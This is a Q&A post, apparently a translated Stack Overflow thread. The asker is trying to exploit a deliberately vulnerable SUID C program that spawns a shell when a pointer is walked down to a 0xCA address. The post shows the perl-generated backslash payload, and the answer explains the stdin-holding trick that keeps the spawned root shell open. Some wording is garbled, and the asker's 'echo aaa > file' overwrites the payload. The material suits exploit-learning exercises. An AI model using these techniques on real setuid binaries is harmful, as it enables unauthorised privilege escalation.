Gdb exiting instead of shell spawning

I am trying to use a SUID program.

Program:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
    int i;
    printf("[ ");
    for(i=0; i < len; i++) printf("%x ", buf[i]); 
    printf(" ]\n");
}

int main()
{
    unsigned char buf[512];
    unsigned char *ptr = buf + (sizeof(buf)/2);
    unsigned int x;

    while((x = getchar()) != EOF) {
            switch(x) {
                    case '\n': print(buf, sizeof(buf)); continue; break;
                    case '\\': ptr--; break; 
                    default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
            }
    }
    printf("All done\n");
}

      

We can easily see that if we somehow change the content of ptr to some address that starts with CA, then a new shell will be created for us. And since ptr usually has some address starting with FF, the way to decrease it (ptr) is to enter the \ character. So I make a file with 0x35000000 '\' characters and finally 3 'a' at the end of the file

perl -e "print '\\\'x889192448" > file     # decimal equivalent of 0x35000000
echo aaa > file        # So that e() is called which actually spawns the shell

      

Finally, in gdb,

run < file

      

However, instead of multiplying the shell, gdb says

process <some number> is executing new program /bin/dash
inferior 1 exited normally

      

Then go back to the gdb prompt instead of getting the shell. I have verified by setting breakpoints at the appropriate places where the ptr does indeed start with CA before calling setresuid ().

Also if I use this outside of gdb nothing happens.

./vulnProg < file

      

Bash prompt takes you back.

Please tell me where I am making the mistake.

+3


source to share


1 answer


You can see this problem by writing a simpler test program

int main()  { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }

      

All this means that you are running the sed version (not the shell) and transform the input by adding "XXX:".

If you run the resulting program and type Terminal, you get this:

$./a.out 
Hello
XXX:Hello
Test
XXX:Test
^D

      

This is exactly as we expected.

Now if you load it from a file containing "Hello \ nWorld" you will get



$./a.out < file 
XXX:Hello
XXX:World
$

      

And the application crashes immediately when the input stream is closed when all input files have been read.

If you want to provide additional input, you need to use a trick so as not to disrupt the input stream.

{ cat file ; cat - ; } | ./a.out

      

This will put all the input from the file into the current ./a.out

one and then read from stdin and add that too.

$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test

      

+3


source







All Articles